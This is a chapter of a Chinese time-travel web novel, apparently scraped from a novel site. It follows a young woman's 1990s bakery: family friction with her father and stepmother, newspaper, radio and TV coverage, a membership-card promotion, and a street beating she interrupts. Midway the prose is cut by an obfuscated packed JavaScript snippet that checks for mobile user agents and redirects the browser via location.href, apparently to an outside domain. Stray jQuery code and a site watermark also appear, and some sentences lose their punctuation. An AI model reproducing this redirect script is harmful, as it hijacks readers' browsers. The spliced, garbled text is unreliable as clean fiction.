第71章 打卡店
作品:《穿进九零嫁给年代文大佬》 李梅和孟军两个人在墙边坐冷板凳,等了半个小时,孟箬还在那若无其事地干活。
孟军等得都不耐烦了,脸上的神情越来越阴沉。
李梅看见孟军黑得跟煤炭一样的脸,连忙在旁煽风点火:“老孟,你说小箬是不是故意把咱们晾在这。”
“她敢?我是她老子。”孟军当即沉着脸,怒声斥道。
“唉——”李梅没接孟军的话,装模作样地长叹一口气。
“你说她怎么就这么忙呢,进进出出的都不停一下的,她都请人了,自己还要这么忙吗?亲爹来了都晾在一边不管。”李梅言语中带着明显的怨气。
“老孟,你说我们这不打一声招呼就过来,她是不是生气了,故意这样。”李梅又阴阳怪气道。
孟军本就烦得很,李梅又像念经一样在旁边唠唠叨叨的,吵得他更烦。
“好了,闭嘴吧,叽叽歪歪的吵死了,”孟军压低声音呵斥道,“你不说话没人把你当哑巴。”
李梅当即闭嘴,但心里却在得意自己挑拨成功。
看孟军这样子,肯定是生孟箬的气了。
她是继母,不好给孟箬脸色看,那她亲爹呢?
这时,孟箬端着面包和热水走过来,微笑着向两人打招呼。
孟军一看见孟箬,脸拉得更长了。
“你店里忙得很嘛,连过来倒杯水的功夫都没有。”他瞥了眼孟箬推过来的面包,语气不悦道。
一听这话,孟箬脸上的假笑有点维持不住了。
从小到大,她最烦的就是孟军这种长辈,长辈的责任没尽到多少,但又极其喜欢端着长辈的架子。
偶尔还爱指点指点你的工作,你的人生。这里的指点是字面意思上的“指指点点”,并不是给你指引方向的那种“指点”。
孟箬敛起笑容:“对啊,您没看见我忙得脚不沾地吗?”
孟军被她这话一噎,脸一阵青一阵白。
这里是外头,孟军又最在意脸面,虽然愤怒但也只能忍着,不好发作。
倘若现在换个场景,要是在家里的话,孟军定然会拍着桌子大发雷霆。
孟箬也是料定了这点,才会如此不客气地怼过去。
现在可是难得让孟军难堪,而他又只能憋着的好机会,她可不惯着他。
孟军压了压情绪,随后又沉着声音责备道:“开店这么大的事,你怎么也不跟家里说一下。”
孟箬听着有点想笑,这
话说的,好像她开店是偷偷花了家里的钱一样。
“这不是怕店开不起来,让爸笑话嘛,就没跟家里说。”孟箬随便编了个理由搪塞道。
她也不想和孟军在店里吵起来,平白让顾客看笑话,只要孟军好好说话,她便不会故意拿话去刺他。
“这不是开得挺好的嘛,”孟军扫了一眼店内的环境说,“我也没别的意思,就是觉得你爸我好歹开了十来年的饭店,在经营上也算是有点经验,有些事上还是可以给你提提意见的。”
孟箬从善如流地接话道:“好的,爸,以后要是遇到什么问题肯定第一时间请教你。”
在这个问题上,孟军没再多说什么。
这时,李梅却突然插一嘴:“小箬,看你刚刚忙活的样子,你除了当老板,还是店里的师傅?”
孟箬一顿,心里提防着李梅又在打什么坏主意。
但她还是给出肯定回答:“是啊。”
丰州市日报里已经介绍过她是老板也是蛋糕师傅,她便没必要再编谎话隐瞒李梅。
“你什么时候学会做面包呀?”李梅一脸好奇地问。
“食品厂学的啊,我之前不是在食品厂上班嘛。”孟箬一脸认真地胡诌。
李梅点点头,信以为真。她不清楚食品厂的工作内容,还以为孟箬的面包技术真是在食品厂学的。
说到食品厂,孟军像是想起什么突然道:“食品厂那么好的工作,铁饭碗,你怎么说辞就辞了,这么大的事也不问问我的意见。”
原主当初去食品厂上班,纯是大学毕业国家分配的工作,跟他也没什么关系吧,这也要管?孟箬在心里吐槽,他们这些长辈不管点什么,是不是就觉得自己没存在感了?
孟箬心里MMP脸上笑嘻嘻地说道:“这不是想开家面包店嘛。”
“你这是运气好,正好登报了,生意才能长虹下去,你要是运气不好,一天卖不出去几单,你想后悔都没地方后悔。”孟军一副长辈给你讲经验讲道理的姿态。
孟箬左耳进右耳出,一脸敷衍地点头。
其实孟军有两点说错了,首先她不是先登上报纸,生意才这么好,而是她家生意好到记者见了很稀奇,觉得这是个可报道的新闻,才用相机拍下众人排队的那一幕,并到店内采访她。
其次,她并不觉得思甜烘焙坊能走到今天,是纯靠运气,实力占了很大一部分吧。她做的面包要是没有足
够好吃,足够新颖,思甜烘焙坊根本不可能在这么短的时间内异军突起。
这时,李梅又插一嘴:“那你开店的启动资金,是游彻给的?
说完,李梅又不自觉打量起店内环境,虽说这门店看着不太新,但开一家这样的面包店,设备、装修再加上食材怎么说也要好几千吧。
孟箬在食品厂的工资一月就那几百,她又是今年刚参加的工作,不可能一下存到几千块的启动资金。
孟箬撇嘴,难道开业这几千块的启动资金她都不配拥有?就非得是别人资助的?
“是是是。她继续点头敷衍道。
虽然游彻一开始也给了她四千块钱作为创业启动资金,但谁让她运气好呢,正好碰上生意做不下去的大姐,面包店铺加设备直接打骨折转让。
还有做面包的原料食材一起打包送她,所以游彻给的那四千块钱压根没怎么动。
听到孟箬的回答,李梅立即露出一副“我就知道的神情,不要太自得。
“小箬,看你店里生意这么好,一天应该能赚不少钱吧。李梅一脸好奇道。
闻言,一旁的孟军也忍不住竖起耳朵,想要听听孟箬一天的营业额。
“生意嘛,有好有坏,没个准数的。
李梅想打听,她就得说吗?她又不傻。
李梅像是不死心还想问,孟箬不等她开口直接岔开话题道:“李阿姨尝尝我做的面包,味道还是不错的。
李梅被她一打岔还真拿起碟子上的面包品尝,刚刚孟箬端上来的时候她就闻到香味想吃了。
一吃味道还真不错,面包又香又软,还带着一点甜味,而表皮又被烤得脆脆的。
“小箬,这什么面包啊?还挺好吃。李梅嘴里还嚼着面包,口齿不清道。
孟箬:“牛角包。
“小箬你开面包店,以后我要是想吃什么面包是不是直接来你店里拿就行了?李梅笑着说道,企图用笑声掩盖自己的厚脸皮。
孟箬突然沉默,不接话。
李梅也不在意她接不接话,反正以后她要是想吃面包直接过来就是了,她就不信孟箬敢不给她拿。
此刻孟箬心里想的是,李梅要是真敢厚脸皮过来,她也有的是办法对付她。
反正不管用什么办法对付她,她都不会平白助长她的气焰,李梅这种人,你给她点颜色她就想开染房。
你一味迁就她,她非但不会感激你,还会得意忘形、得寸进尺。
李梅吃着牛角包,突然又想到自己还怀着孕的女儿郑婉。
她瞅了眼袁红梅的方向,心想等郑婉生完孩子,不如就把她弄来这上班。她总不能一直待在家不出去工作的,她那男人一个月也挣不了多少钱。
看那服务员的活儿也不累,就是打包一下面包再收收钱的事。
到时候让郑婉把孩子带过来一起上班,也能让孟箬一起帮着看下孩子。
“小箬啊,我看你这店里客人挺多的,就你们两个人忙得过来吗?”李梅装作随意地说道。
孟箬当即眼皮一跳有种不好的预感,感觉李梅肚子里又憋着什么坏水呢。
她说道:“忙得过来,两个人足够了。”
“要是两个人就够的话,你就把那个服务员辞了。”李梅朝袁红梅的方向扬了扬下巴说道。
“换郑婉来,依我看郑婉手脚比她麻利多了。”
原来在这等着她呢,孟箬抬眼看向李梅,眼神淡漠不带有任何情绪。
郑婉,太久没听到这个名字,她都快要忘记这个人了。
上回见面,还是在街上碰见的吧,郑婉和汪文周在一起。
明明就是几个月前的事,现在回忆起来却久远地像是发生在上辈子。
要是之后思甜烘焙坊的名声彻底打出去,客流量持续翻倍,她肯定要考虑再招一个人,但她招谁也不会招郑婉。
“你刚刚是没看到,她还躲着偷懒呢。”李梅突然一脸神秘地凑到孟箬身边说道。
她在心里冷笑,为了扶郑婉上位,李梅都开始睁眼说瞎话。
袁红梅来店里这么久,品性如何孟箬还是清楚的,这段时间忙,袁红梅干活比她这个老板还卖力,真正忙到脚不沾地。
为了奖励她这段时间的辛苦工作,下个月她还打算给她加十块钱工资呢。
她刚想直接拒绝,李梅却又开了口:“不过,郑婉现在肯定来不了,她怀孕了。”
孟箬一听,黛眉微挑。
郑婉怀孕了?跟汪文周?
她也只是疑惑了一瞬,随即便毫不在意。
“哦,”李梅像是想到什么,说道,“你还不知道她结婚的事吧,郑婉她嫁人了,她男人也是电器厂的。”
汪文周不就是电器厂的,她还真没想到郑婉会嫁给汪文周。
“这不,还有二十几天就过年了,”李梅继
续说,“除夕夜年夜饭来家里吃啊,我也叫了郑婉俩夫妻,一大家子正好热闹热闹。”
“郑婉算不上孟家的亲戚吧。”孟箬冷不丁地说了句。
李梅干笑两声,视线不自觉投向孟军,像是在向他求助。
孟军一声不吭。
除夕夜年夜饭邀请郑婉夫妻一起,是李梅好说歹说求了孟军好久,才让他答应的。
但让郑婉夫妻过来吃饭,孟军心里始终有些不舒服,主要郑婉的身份着实尴尬,只要一看到郑婉,孟军就感觉自己像个小丑。
“还有啊李阿姨,这是我的店,我不打算招人,也不会换人。”孟箬皮笑肉不笑道。
李梅又是下意识朝孟军看去,希望孟军能帮她说几句话。
“店是小箬的,招人或是换人,这些事确实该听她的。”孟军开口了,但说的话不是帮李梅,而是帮孟箬。
是帮自己的亲生女儿,还是帮李梅和前夫的女儿,这一点孟军还是拎得清的。
见孟军也不帮她说话,李梅便知道这事她插不了手。
她只能悻悻地低下头:“是我多嘴了。”
三人之间的气氛一时尴尬起来。
孟军见状轻咳了一声,说道:“时候不早了,我饭店里还有事,先回去了。”
“好。”孟箬连忙起身。
她将两人送到店门口几步后,便停下脚步说道:“爸、李阿姨,你们路上注意安全,我就不远送了。”
孟军和李梅走出一段路后,孟军就开始低声斥责身旁的李梅。
“你怎么想的?小箬店里的人用得好好的,你说换就换,她是老板,还你是老板?”
“我这不是看郑婉一直在家闲着,想给她寻个好工作嘛。”李梅小声解释。
说起工作的事,孟军又想起当初郑婉在他饭店干活做出的那些事,逃工、偷东西。
“就你女儿那好吃懒做的样,再好的工作也得给她搅黄了,你要是有那本事,你就自己帮她找,你别来祸害我的女儿。”孟军语气不悦地发话道。
李梅被孟军训得低下头,不说话。
这头孟箬送完便宜爹和后妈两人,边往店内走,边动动肩颈胳膊活动筋骨。
为什么她会有种刚打完一场仗的错觉?
果然,跟心眼子多的人玩勾心斗角,比她在烘焙间烤一整天的面包还累,心累。
丰州市日报的那篇报道直接将思甜烘焙坊的客流量拉到另一个水平,
这几天面包店的日营业额基本维持在一千五至两千之间遇上周末能直接破两千。
生日蛋糕的订单也明显多起来之前蛋糕订单基本维持在一天一到三单之间有时候也会碰上挂零蛋。
但现在蛋糕订单基本维持在两到五单之间有一回她更是一天接下五单定制蛋糕的订单。
还好这五单生日蛋糕的时间不一样要不然她估计要天不亮就要爬起来做蛋糕一直做到天黑。
报社的一篇新闻报道直接让她的日销售额翻番孟箬当然没有忘记感谢丰州市日报报社以及报社的记者。
她挑了个工作日时间给报社送了几个花篮以表感谢然后又给报社的同志每人送一张思甜烘焙坊的会员卡。进店后出示会员卡便能享受全场八八折的优惠。
折扣不高但也算是孟箬的一点心意。
会员卡是孟箬找印刷厂印刷的类似名片的硬纸材质每张会员卡上都有她手写的会员卡编号。所以能假冒的概率很低。
之前孟箬就想搞后世流行的那种会员制一旦搞起了会员那可以玩的营销法子就多了。
什么充值多少送多少的活动啊按充值金额给会员划分等级高等级的会员可免费享受新品试吃权还有每月固定会员日打折等等。
但孟箬推行会员制的第一步就遇上了困难这时候没有那种联网系统用户充值了多少使用了多少都要靠手动记录了
以上只是其一其二就是丰州市这边制作不了那种带钢印的会员卡只能印孟箬目前发的这种类似名片的卡片。
这种卡片太容易被仿制了风险也大所以孟箬便没在店内推行就暂时拿过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14968848|148217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给报社的同志当做福利赠送了。
而且她赠送纸质会员卡片目前只有一种权益那就是进店享受全场八八折。
孟箬暂时不敢搞复杂了怕搞得越复杂到时候出的问题越多。
目前给报社的同志赠送八八折会员卡一方面算是会员制度的试运行另一方面也算是给面包店拉新吧。
以前没去过思甜烘焙坊的报社同志拿着手上的八八折会员卡可能光是被这优惠权益吸引也会特地去店里看看。
孟箬给报社的同志送会员卡原本也只是想试运行一下会员制度并顺带拉一波新客。
但让孟箬没想到的是她给报社同志送会员卡
竟然还带来另一个好处。
她送出会员卡的几天后,便先后接到本地广播和电视台的采访邀请。
也就是说,她不仅要上本地广播,还要上电视。
孟箬也是接受完广播和电视台的采访后,和工作人员聊天才发现这事的。丰州市广播和电视台双双向她递出采访邀请的契机,竟然是他们也想要思甜烘焙坊的八八折会员卡。
只要进店就享受全场面包八八折,并且还是终身八八折,这对于本就是思甜烘焙坊忠实粉丝的工作人员来说,诱惑简直不要太大。
于是几个工作人员一合计,索性他们也给思甜烘焙坊的店老板来个专题采访。
采访计划提报上去后,上头领导还真批准了,当然上头领导批准并不是也想要八八折会员卡,上级领导是看中了这个新闻背后的政治正确性。
年初国家领导人的南方讲话之后,各个地方领导都开始大力发展经济,鼓励人民群众经商创业。
这家生意火爆的面包店不正是一个很好的示范,起了一个带头作用么,听提报采访计划的专员说,这位面包店女老板原先还是食品厂的技术员,如今为了创业毅然决然辞去了食品厂的铁饭碗工作。
就光这一点就很值得采访和深挖,同时也是极具备象征意义的,只要创业搞得棒,那比铁饭碗还香。
接收完采访的孟箬,赶紧又印刷了两波会员卡,并连夜用钢笔写上会员卡编号,隔天花篮连带着会员卡分别送去了本地广播和电视台。
等孟箬的采访分别在本地广播和电视台播出后,思甜烘焙坊已经在整个丰州市彻底出了名,成了全体丰州市民周末必逛的面包店。
好家伙,她家的面包店成了九零年代的“网红打卡店,不同的是,这时候的互联网发展尚未起步,思甜烘焙坊是被传统纸媒和广播电视媒体给带飞的。
其实,之后再回过头来分析思甜烘焙坊的成功,既离不开面包店本身过硬的产品,也离不开创始人身上携带的传奇色彩和故事性。
年仅二十二岁的年轻女老板,辞去铁饭碗毅然决然创业的后起之秀,无论哪一点都足够让人好奇、探究。
而人一旦开始好奇探究那便是真正把你记在心里了。
食品厂厂长马栋,有听收音机的习惯,且喜欢听丰州市本地的广播。
这不,周六晚上,马栋在家无意间听到了孟箬采访的回放。
一开始马栋还没在意,以为就是个普通的创业采访,然后他听到孟箬的名字,马栋一下愣了。
等听到孟箬开的面包店,马栋赶紧记下店名及地址。
明天正好是周末休息日,他可不得去捧捧场嘛。
之前孟箬跟他打报告辞职的时候,她就说她准备去开面包店,当时他还笑着说让孟箬开业后通知他去捧场。
之后孟箬离职,厂子突然忙起来,他也就把这件事抛诸脑后了。
没想到,今天却在收音机里听到了孟箬的采访。
从孟箬正式离职到现在,这中间也就两三个月的时间,这么短的时间,孟箬和她开的面包店都上本地广播了,由此可见,她这面包店开得是真不错。
采访她的广播和电视陆续播放之后,没过两天,孟箬便在店里见到了不少熟人。
先是食品厂厂长马栋,再是车间主任张彩霞。然后又是她原先楼下的邻居周巧梅,这回周巧梅还是和她姐姐周琴娟一起过来的,两姐妹手挽着手,长得还真有几分像。
小说</a>的域名caixs□(请来才
小说
看最新章节
完整章节)
之前她从食品厂离职的时候,马厂长曾说过,让她面包店开业的时候通知他。
孟箬当然没有忘记这事,而面包店开业那天她没有通知马厂长,则是有意为之。
因为她觉得与其在刚开业没什么人气的时候,与熟人尴尬碰面,不如等自己的面包店步入正轨,届时再与熟人碰面可以更体面些。
事实也正如孟箬所料,如今她的面包店在整个丰州市都数得上名头。
曾经不管是认可还是不认可她丢弃铁饭碗的人,如今看她的眼神皆不同了。他们谁也没想到孟箬能在如此短的时间内,将面包店经营到现在这个程度。
这些天客流爆满,孟箬一天下来要烤四波面包,每天还要做两三个蛋糕,因此无论是做面包造型还是做蛋糕的速度,她比以前都快了不少。
当然,这段时间的材料消耗得也很快。
孟箬烤完一波面包,查看一遍原材料,发现有几样已经快用完了。
她将烤好的面包摆进橱窗,交代袁红梅几句,就去批发商那边购材料。
批发商离面包店有点距离,她又要拉不少货,便骑着自行车过去。
孟箬骑着自行车经过一个小巷时,突然听到有人打斗的声音,还有几个男孩子骂骂咧咧的咒骂声。
九零年代初的治安不如后世,巷子里出现打架斗殴的事并不少见。
孟
箬没怎么在意,她以前碰到这种事都是有多远躲多远,今天当然也不例外。
她下意识往巷子的方向瞥一眼,然后就准备蹬着自行车离开。
只是这一瞥,让她面色一顿,巷子里几个男生不是群殴,而是四个男生在单方面殴打一个男生。
关键是,那个被单方面殴打的男生她好像还认识,是谢卓然。
孟箬不自觉捏闸停车,谢卓然被揍得躺在地上,躬着身,抱着头。
反正挺惨的。
如果是陌生人,她不会多管闲事,但谢卓然,她好歹认识。
谢卓然,平时话不多,去她店里买面包也都是安安静静地坐在那,一看就不是什么坏学生。
而那站着的四个男生,看着年纪和谢卓然差不多,估计不是学生,就是游荡在街上的小混混。
如果四个男生是学生,那今天这场面就是校园霸凌,如果他们是街头小混混,那就是小混混欺负学生。
无论是哪种情况,她都不想就这么任由事态发展下去,那四个人下手那么狠,谁知道会不会打死人。
孟箬动作迅速地将自行车靠墙停着,自己也躲到墙后,然后朝着小巷的方向大喊两声:“公安来啦!公安来啦!”